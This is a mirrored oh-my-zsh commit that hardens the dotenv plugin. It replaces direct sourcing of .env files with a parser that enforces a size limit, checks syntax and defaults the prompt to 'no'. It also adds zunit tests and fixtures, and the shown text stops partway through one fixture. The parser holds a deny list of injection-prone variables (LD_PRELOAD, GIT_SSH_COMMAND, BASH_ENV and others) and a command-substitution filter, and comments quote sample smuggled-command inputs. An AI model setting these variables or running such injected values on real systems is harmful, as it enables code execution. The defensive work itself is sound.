mirror of
https://github.com/ohmyzsh/ohmyzsh.git
synced 2026-05-29 04:53:17 +02:00
fix(dotenv): introduce safe parsing of .env files (#13778)
Some checks failed
Scorecard supply-chain security / Scorecard analysis (push) Has been cancelled
Some checks failed
Scorecard supply-chain security / Scorecard analysis (push) Has been cancelled
* fix(dotenv): expect explicit yes before loading .env file * fix(dotenv): implement secure parsing for .env files and add comprehensive tests * feat(dotenv): check for .env file size to prevent DoS * fix(dotenv): forbid setting special variables * fix(dotenv): FIFO shouldn't be read twice * fix(dotenv): unknown vars should expand to empty * fix(dotenv): reject extremely large named pipes * docs(dotenv): update to new parsing system * fix(dotenv): add support for escaped dollars * chore(dotenv): only declare local variables once * fix(dotenv): apply review suggestions * docs(dotenv): update test instructions Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
This commit is contained in:
parent
c90141ed77
commit
d170d18746
10 changed files with 1219 additions and 12 deletions
9
plugins/dotenv/.zunit.yml
Normal file
9
plugins/dotenv/.zunit.yml
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
tap: false
|
||||||
|
directories:
|
||||||
|
tests: tests
|
||||||
|
output: tests/_output
|
||||||
|
support: tests/_support
|
||||||
|
time_limit: 0
|
||||||
|
fail_fast: false
|
||||||
|
allow_risky: false
|
||||||
|
verbose: false
|
||||||
|
|
@ -34,6 +34,25 @@ PORT=3001
|
||||||
|
|
||||||
You can even mix both formats, although it's probably a bad idea.
|
You can even mix both formats, although it's probably a bad idea.
|
||||||
|
|
||||||
|
Multi-line values are supported using quoted strings:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
|
||||||
|
MIIEowIBAAKCAQEA...
|
||||||
|
-----END RSA PRIVATE KEY-----"
|
||||||
|
```
|
||||||
|
|
||||||
|
Variables defined earlier in the file can be referenced by later entries:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
BASE_URL=https://example.com
|
||||||
|
API_URL=$BASE_URL/api
|
||||||
|
ASSETS_URL=${BASE_URL}/assets
|
||||||
|
```
|
||||||
|
|
||||||
|
Note: only variables defined within the same `.env` file are expanded this way —
|
||||||
|
shell environment variables that already exist are **not** substituted.
|
||||||
|
|
||||||
## Settings
|
## Settings
|
||||||
|
|
||||||
### ZSH_DOTENV_FILE
|
### ZSH_DOTENV_FILE
|
||||||
|
|
@ -86,13 +105,37 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t
|
||||||
|
|
||||||
No additional configuration is required — the plugin automatically detects and sources named pipes.
|
No additional configuration is required — the plugin automatically detects and sources named pipes.
|
||||||
|
|
||||||
|
## Tests
|
||||||
|
|
||||||
|
The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
cd plugins/dotenv && zunit
|
||||||
|
```
|
||||||
|
|
||||||
|
> [NOTE!]
|
||||||
|
> zunit also requires installing [Revolver](https://github.com/molovo/revolver).
|
||||||
|
|
||||||
## Version Control
|
## Version Control
|
||||||
|
|
||||||
**It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
|
**It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
|
||||||
|
|
||||||
## Disclaimer
|
## Security
|
||||||
|
|
||||||
This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job.
|
The plugin applies several best-effort safeguards when loading a `.env` file:
|
||||||
|
|
||||||
|
- **Size limit** — files larger than 10 MiB are rejected to prevent DoS.
|
||||||
|
- **Syntax check** — the file is validated with `zsh -fn` before any variables are set.
|
||||||
|
- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped.
|
||||||
|
- **Forbidden variables** — the following variables are never overwritten, regardless of what the
|
||||||
|
`.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`,
|
||||||
|
`LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`,
|
||||||
|
`GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`,
|
||||||
|
`GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special
|
||||||
|
parameters.
|
||||||
|
|
||||||
|
These measures are **best-effort** — you are still responsible for the content of your `.env`
|
||||||
|
file. Do not use this plugin as a security boundary.
|
||||||
|
|
||||||
If you need more advanced and feature-rich ENV management, check out these awesome projects:
|
If you need more advanced and feature-rich ENV management, check out these awesome projects:
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -7,9 +7,271 @@
|
||||||
: ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"}
|
: ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"}
|
||||||
: ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"}
|
: ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"}
|
||||||
|
|
||||||
|
|
||||||
## Functions
|
## Functions
|
||||||
|
|
||||||
|
_parse_dotenv_content() {
|
||||||
|
setopt localoptions extendedglob
|
||||||
|
|
||||||
|
local content="$1"
|
||||||
|
local mode="${2:-export}"
|
||||||
|
|
||||||
|
# Validate mode argument
|
||||||
|
case "$mode" in
|
||||||
|
export|test) ;;
|
||||||
|
*)
|
||||||
|
echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
|
||||||
|
return 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
local node line key value
|
||||||
|
local raw_value expanded prefix remainder var_name escaped_dollar_placeholder
|
||||||
|
local sq dq uq safe
|
||||||
|
local -A parsed_vars
|
||||||
|
local -a nodes lines
|
||||||
|
|
||||||
|
# Parse into command lines separated by `;`, with built-in support for multi-line commands.
|
||||||
|
# (Z:C:) ignores comments and preserves quotes and escapes.
|
||||||
|
#
|
||||||
|
# All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
|
||||||
|
# by joining all elements between ';'.
|
||||||
|
#
|
||||||
|
# Example input:
|
||||||
|
# VAR1=value1; VAR2=value2
|
||||||
|
# VAR3="multi
|
||||||
|
# line value"
|
||||||
|
# Result:
|
||||||
|
# typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
|
||||||
|
# typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
|
||||||
|
#
|
||||||
|
nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
|
||||||
|
for node in "${nodes[@]}"; do
|
||||||
|
if [[ "$node" == ";" ]]; then
|
||||||
|
if [[ -n "$line" ]]; then
|
||||||
|
lines+=("$line")
|
||||||
|
line=""
|
||||||
|
fi
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
[[ -z "$line" ]] || line+=" "
|
||||||
|
line+="$node"
|
||||||
|
done
|
||||||
|
|
||||||
|
local -a forbidden_vars=(
|
||||||
|
NODE_OPTIONS
|
||||||
|
BASH_ENV
|
||||||
|
ENV
|
||||||
|
ZDOTDIR
|
||||||
|
ZSH
|
||||||
|
LD_PRELOAD
|
||||||
|
LD_LIBRARY_PATH
|
||||||
|
DYLD_INSERT_LIBRARIES
|
||||||
|
GIT_CONFIG_GLOBAL
|
||||||
|
GIT_DIR
|
||||||
|
GIT_EDITOR
|
||||||
|
GIT_EXTERNAL_DIFF
|
||||||
|
GIT_EXEC_PATH
|
||||||
|
GIT_PAGER
|
||||||
|
GIT_SSH
|
||||||
|
GIT_SSH_COMMAND
|
||||||
|
GIT_SSL_NO_VERIFY
|
||||||
|
GIT_TEMPLATE_DIR
|
||||||
|
VISUAL
|
||||||
|
PAGER
|
||||||
|
EDITOR
|
||||||
|
${(k)parameters[(R)*export*special]}
|
||||||
|
)
|
||||||
|
local forbidden="${(j:|:)forbidden_vars}"
|
||||||
|
|
||||||
|
|
||||||
|
# Each line contains a single command line, we need to parse valid KEY=VALUE pairs
|
||||||
|
for line in "${lines[@]}"; do
|
||||||
|
# Strip leading 'export ' keyword
|
||||||
|
line="${line#export[ ]}"
|
||||||
|
|
||||||
|
# Match KEY=VALUE pattern
|
||||||
|
# "A name may be any sequence of alphanumeric characters and underscores"
|
||||||
|
# https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
|
||||||
|
if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
key="${match[1]}"
|
||||||
|
value="${match[2]}"
|
||||||
|
raw_value="$value"
|
||||||
|
|
||||||
|
# Filter out variables to be ignored for security reasons (best effort)
|
||||||
|
if [[ "$key" == (${~forbidden}) ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Use tokenization to split value with native shell parsing (handles quotes and escapes)
|
||||||
|
# Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
|
||||||
|
local -a words
|
||||||
|
words=("${(@z)value}")
|
||||||
|
if [[ ${#words} -ne 1 ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
## START: FILTER COMMAND EXPANSION
|
||||||
|
#
|
||||||
|
# Filter lines with command expansion not in safe contexts
|
||||||
|
#
|
||||||
|
# READER'S NOTE: this is actually a "best effort" check (works in tests), but
|
||||||
|
# only to prevent setting variables with command substitution. The actual effect
|
||||||
|
# of setting them would not be a vulnerability, because we use `typeset name=value`
|
||||||
|
# and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
|
||||||
|
#
|
||||||
|
# What does this mean? If we were to remove this filter block, this is what would happen:
|
||||||
|
#
|
||||||
|
# Input: DANGEROUS=$(echo this is a command)
|
||||||
|
# Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
|
||||||
|
#
|
||||||
|
# Check for potential command substitution outside of safe contexts
|
||||||
|
# - single-quoted strings: command substitution is literal there
|
||||||
|
sq="'[^']#'"
|
||||||
|
# - double-quoted strings, but NOT unescaped ` or $(
|
||||||
|
dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
|
||||||
|
# - unquoted text, but NOT unescaped ` or $(
|
||||||
|
uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
|
||||||
|
safe="(${sq}|${dq}|${uq})#"
|
||||||
|
# Remove the longest safe prefix; what remains starts at first unsafe construct
|
||||||
|
remainder="${value##${~safe}}"
|
||||||
|
|
||||||
|
if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
## END: FILTER COMMAND EXPANSION
|
||||||
|
|
||||||
|
# Single-quoted values are fully literal and must not participate in expansion.
|
||||||
|
if [[ "$raw_value" == \'*\' ]]; then
|
||||||
|
value="${(Q)value}"
|
||||||
|
parsed_vars[$key]="$value"
|
||||||
|
if [[ "$mode" == "export" ]]; then
|
||||||
|
typeset -x "$key"="$value"
|
||||||
|
fi
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Preserve escaped dollars so they remain literal after unquoting.
|
||||||
|
escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001'
|
||||||
|
value="${value//\\\$/$escaped_dollar_placeholder}"
|
||||||
|
|
||||||
|
# Unquote the value to handle special characters and multiline values.
|
||||||
|
value="${(Q)value}"
|
||||||
|
|
||||||
|
# Expand previously parsed in-file variables without partial name matches.
|
||||||
|
expanded=""
|
||||||
|
prefix=""
|
||||||
|
remainder="$value"
|
||||||
|
var_name=""
|
||||||
|
while [[ "$remainder" == *'$'* ]]; do
|
||||||
|
prefix="${remainder%%\$*}"
|
||||||
|
expanded+="$prefix"
|
||||||
|
remainder="${remainder#$prefix}"
|
||||||
|
|
||||||
|
if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then
|
||||||
|
var_name="${match[1]}"
|
||||||
|
remainder="${match[2]}"
|
||||||
|
elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then
|
||||||
|
var_name="${match[1]}"
|
||||||
|
remainder="${match[2]}"
|
||||||
|
else
|
||||||
|
expanded+='$'
|
||||||
|
remainder="${remainder#?}"
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ -v "parsed_vars[$var_name]" ]]; then
|
||||||
|
expanded+="${parsed_vars[$var_name]}"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
value="${expanded}${remainder}"
|
||||||
|
value="${value//$escaped_dollar_placeholder/\$}"
|
||||||
|
|
||||||
|
# Store in parsed vars (for in-file expansion)
|
||||||
|
parsed_vars[$key]="$value"
|
||||||
|
|
||||||
|
# Normal mode: export the variable
|
||||||
|
if [[ "$mode" == "export" ]]; then
|
||||||
|
typeset -x "$key"="$value"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# In test mode, set DOTENV_TEST_VARS
|
||||||
|
typeset -gA DOTENV_TEST_VARS
|
||||||
|
DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
|
||||||
|
}
|
||||||
|
|
||||||
|
parse_dotenv() {
|
||||||
|
local filename="$1"
|
||||||
|
local mode="${2:-export}"
|
||||||
|
local content
|
||||||
|
|
||||||
|
# Fail if file is too large to avoid DoS
|
||||||
|
zmodload -F zsh/stat b:zstat
|
||||||
|
local -i file_size max_size=10485760 # 10MiB
|
||||||
|
if ! file_size=$(zstat +size "$filename" 2>/dev/null); then
|
||||||
|
echo "dotenv: unable to determine size of file '$filename'" >&2
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if (( file_size > max_size )); then
|
||||||
|
echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
content="$(<"$filename")" || return 1
|
||||||
|
_parse_dotenv_content "$content" "$mode"
|
||||||
|
}
|
||||||
|
|
||||||
|
_dotenv_read_limited() {
|
||||||
|
local filename="$1"
|
||||||
|
local chunk content=""
|
||||||
|
local -i max_size=10485760 total=0 read_size=0 fd read_status
|
||||||
|
|
||||||
|
zmodload zsh/system || return 1
|
||||||
|
exec {fd}<"$filename" || return 1
|
||||||
|
|
||||||
|
while true; do
|
||||||
|
sysread -i $fd -s 65536 -c read_size chunk
|
||||||
|
read_status=$?
|
||||||
|
|
||||||
|
if (( read_status == 5 )); then
|
||||||
|
break
|
||||||
|
elif (( read_status != 0 )); then
|
||||||
|
exec {fd}<&-
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
(( total += read_size ))
|
||||||
|
if (( total > max_size )); then
|
||||||
|
exec {fd}<&-
|
||||||
|
echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
content+="$chunk"
|
||||||
|
done
|
||||||
|
|
||||||
|
exec {fd}<&-
|
||||||
|
REPLY="$content"
|
||||||
|
}
|
||||||
|
|
||||||
|
_dotenv_check_syntax() {
|
||||||
|
local filename="$1"
|
||||||
|
|
||||||
|
if (( $# == 2 )); then
|
||||||
|
printf '%s' "$2" | zsh -fn /dev/stdin
|
||||||
|
else
|
||||||
|
zsh -fn -- "$filename"
|
||||||
|
fi || {
|
||||||
|
echo "dotenv: error when sourcing '$filename' file" >&2
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
source_env() {
|
source_env() {
|
||||||
if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
|
if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
|
||||||
return
|
return
|
||||||
|
|
@ -37,28 +299,35 @@ source_env() {
|
||||||
[[ $column -eq 1 ]] || echo
|
[[ $column -eq 1 ]] || echo
|
||||||
|
|
||||||
# print same-line prompt and output newline character if necessary
|
# print same-line prompt and output newline character if necessary
|
||||||
echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) "
|
echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) "
|
||||||
read -k 1 confirmation
|
read -k 1 confirmation
|
||||||
[[ "$confirmation" = $'\n' ]] || echo
|
[[ "$confirmation" = $'\n' ]] || echo
|
||||||
|
|
||||||
# check input
|
# check input
|
||||||
case "$confirmation" in
|
case "$confirmation" in
|
||||||
[nN]) return ;;
|
[yY]) ;;
|
||||||
[aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;;
|
[aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;;
|
||||||
[eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;;
|
[eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;;
|
||||||
*) ;; # interpret anything else as a yes
|
*) return ;; # interpret anything else as a no
|
||||||
esac
|
esac
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# test .env syntax
|
local content
|
||||||
zsh -fn $ZSH_DOTENV_FILE || {
|
if [[ -p "$ZSH_DOTENV_FILE" ]]; then
|
||||||
echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2
|
_dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1
|
||||||
return 1
|
content="$REPLY"
|
||||||
}
|
_dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1
|
||||||
|
|
||||||
|
setopt localoptions allexport
|
||||||
|
_parse_dotenv_content "$content"
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
_dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1
|
||||||
|
|
||||||
setopt localoptions allexport
|
setopt localoptions allexport
|
||||||
source $ZSH_DOTENV_FILE
|
parse_dotenv "$ZSH_DOTENV_FILE"
|
||||||
}
|
}
|
||||||
|
|
||||||
autoload -U add-zsh-hook
|
autoload -U add-zsh-hook
|
||||||
|
|
|
||||||
2
plugins/dotenv/tests/_output/.gitignore
vendored
Normal file
2
plugins/dotenv/tests/_output/.gitignore
vendored
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
*
|
||||||
|
!.gitignore
|
||||||
139
plugins/dotenv/tests/_support/bootstrap
Normal file
139
plugins/dotenv/tests/_support/bootstrap
Normal file
|
|
@ -0,0 +1,139 @@
|
||||||
|
#!/usr/bin/env zsh
|
||||||
|
# Bootstrap script for dotenv plugin tests
|
||||||
|
# This is sourced before any tests run and provides shared utilities
|
||||||
|
|
||||||
|
# Load the dotenv plugin
|
||||||
|
source "$PWD/dotenv.plugin.zsh"
|
||||||
|
ZSH_DOTENV_PROMPT=false
|
||||||
|
ZSH_DOTENV_FILE=/dev/null
|
||||||
|
|
||||||
|
# Helper: Parse dotenv file in test mode
|
||||||
|
_parse_dotenv_test() {
|
||||||
|
parse_dotenv "$1" "test"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Helper: Parse dotenv file in export mode
|
||||||
|
_parse_dotenv_export() {
|
||||||
|
unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
|
||||||
|
|
||||||
|
parse_dotenv "$1" "test"
|
||||||
|
|
||||||
|
for key in "${(k)DOTENV_TEST_VARS}"; do
|
||||||
|
typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
# Helper: Run parse_dotenv suppressing stderr
|
||||||
|
_parse_dotenv_quiet() {
|
||||||
|
parse_dotenv "$@" 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
# Helper: Create a temporary test fixture
|
||||||
|
_create_temp_fixture() {
|
||||||
|
local fixture
|
||||||
|
fixture==(:) # Create temp file
|
||||||
|
echo "$fixture"
|
||||||
|
}
|
||||||
|
|
||||||
|
_write_temp_fixture() {
|
||||||
|
local fixture="$1"
|
||||||
|
> "$fixture"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# Helper: Source file with allexport and capture variables
|
||||||
|
# Usage: _source_with_allexport "file.env"
|
||||||
|
# Result is in DOTENV_SOURCE_VARS associative array
|
||||||
|
_source_with_allexport() {
|
||||||
|
local filename="$1"
|
||||||
|
|
||||||
|
# Source with allexport in a subshell with no exported variables
|
||||||
|
|
||||||
|
# The return and capture of the exported variables is a bit of a pain:
|
||||||
|
# 1. We first store the key=value pairs in $vars associative array, which is
|
||||||
|
# defined before allexport is set to avoid appearing in results.
|
||||||
|
# 2. Afterwards, we join all keys and values of the associative with null delimiters. With
|
||||||
|
# "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
|
||||||
|
# we join them with nulls.
|
||||||
|
# 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
|
||||||
|
# empty values, and then uses it to populate an associative array.
|
||||||
|
# Don't try to understand this or change it unless you have to. Debugging is a nightmare.
|
||||||
|
typeset -gA DOTENV_SOURCE_VARS
|
||||||
|
DOTENV_SOURCE_VARS=("${(@0)"$(
|
||||||
|
local -A vars
|
||||||
|
|
||||||
|
# Clear all exports first
|
||||||
|
zmodload zsh/parameter
|
||||||
|
unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
|
||||||
|
|
||||||
|
# Source file with allexport
|
||||||
|
setopt localoptions allexport
|
||||||
|
source "$filename"
|
||||||
|
|
||||||
|
# Set all exported variables into an associative array
|
||||||
|
for key in ${(k)parameters[(R)*export*]}; do
|
||||||
|
vars[$key]="${(P)key}"
|
||||||
|
done
|
||||||
|
|
||||||
|
print -rn -- "${(@kvpj:\0:)vars}"
|
||||||
|
)"}")
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
## ZUnit assertion helpers
|
||||||
|
|
||||||
|
_zunit_assert_function_exists() {
|
||||||
|
[[ "${+functions[$1]}" -eq 1 ]] && return 0
|
||||||
|
echo "Function '$1' does not exist"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
_zunit_assert_var_same_as() {
|
||||||
|
local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
|
||||||
|
if [[ $tvalue != $tcomp ]]; then
|
||||||
|
echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
|
||||||
|
exit 78
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Special case for associative arrays
|
||||||
|
if [[ ${(Pt)1} == "association" ]]; then
|
||||||
|
local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
|
||||||
|
local -aU keys=("${(@k)value}" "${(@k)comparison}")
|
||||||
|
|
||||||
|
local ret=0 key
|
||||||
|
for key in "${keys[@]}"; do
|
||||||
|
# Key match checks
|
||||||
|
if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
|
||||||
|
echo "'$1[$key]' is set (value='${value[$key]}')"
|
||||||
|
ret=1
|
||||||
|
elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
|
||||||
|
echo "'$1[$key]' is not set (expected='${comparison[$key]}')"
|
||||||
|
ret=1
|
||||||
|
# Value match checks
|
||||||
|
elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
|
||||||
|
echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
|
||||||
|
ret=1
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
exit $ret
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Generic case
|
||||||
|
local value="${(P)1}" comparison="${(P)2}"
|
||||||
|
[[ "$value" != "$comparison" ]] || exit 0
|
||||||
|
echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
_zunit_assert_var_is_set() {
|
||||||
|
[[ -v "$1" ]] && return 0
|
||||||
|
echo "Variable '$1' is not set"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
_zunit_assert_var_is_not_set() {
|
||||||
|
[[ ! -v "$1" ]] && return 0
|
||||||
|
echo "Variable '$1' is set"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
88
plugins/dotenv/tests/_support/fixtures/dotenvjs.env
Normal file
88
plugins/dotenv/tests/_support/fixtures/dotenvjs.env
Normal file
|
|
@ -0,0 +1,88 @@
|
||||||
|
# Consolidated dotenv test fixture from dotenv test suite
|
||||||
|
# Source: https://github.com/motdotla/dotenv/tree/master/tests
|
||||||
|
#
|
||||||
|
# Copyright (c) 2015, Scott Motte
|
||||||
|
# All rights reserved.
|
||||||
|
|
||||||
|
# Redistribution and use in source and binary forms, with or without
|
||||||
|
# modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
# * Redistributions of source code must retain the above copyright notice, this
|
||||||
|
# list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
# * Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
# this list of conditions and the following disclaimer in the documentation
|
||||||
|
# and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||||
|
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||||
|
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
# Basic assignments
|
||||||
|
BASIC=basic
|
||||||
|
|
||||||
|
# previous line intentionally left blank
|
||||||
|
AFTER_LINE=after_line
|
||||||
|
|
||||||
|
# Empty values
|
||||||
|
EMPTY=
|
||||||
|
EMPTY_SINGLE_QUOTES=''
|
||||||
|
EMPTY_DOUBLE_QUOTES=""
|
||||||
|
|
||||||
|
# Single quotes (literal, no expansion)
|
||||||
|
SINGLE_QUOTES='single_quotes'
|
||||||
|
SINGLE_QUOTES_SPACED=' single quotes '
|
||||||
|
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
|
||||||
|
|
||||||
|
# Double quotes (with escapes)
|
||||||
|
DOUBLE_QUOTES="double_quotes"
|
||||||
|
DOUBLE_QUOTES_SPACED=" double quotes "
|
||||||
|
EXPAND_NEWLINES="expand\nnew\nlines"
|
||||||
|
|
||||||
|
# Unquoted (no escape expansion)
|
||||||
|
DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
|
||||||
|
|
||||||
|
# Quotes inside quotes
|
||||||
|
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
|
||||||
|
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
|
||||||
|
|
||||||
|
# Comments
|
||||||
|
# COMMENTS=work
|
||||||
|
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
|
||||||
|
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
|
||||||
|
INLINE_COMMENTS_UNQUOTED=value # work
|
||||||
|
|
||||||
|
# Special characters
|
||||||
|
EQUAL_SIGNS=equals==
|
||||||
|
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
|
||||||
|
USEREMAIL=therealnerdybeast@example.tld
|
||||||
|
|
||||||
|
# Multiline values with double quotes
|
||||||
|
MULTI_DOUBLE_QUOTED="THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING"
|
||||||
|
|
||||||
|
# Multiline values with single quotes
|
||||||
|
MULTI_SINGLE_QUOTED='THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING'
|
||||||
|
|
||||||
|
# Multiline PEM certificate
|
||||||
|
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
|
||||||
|
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
|
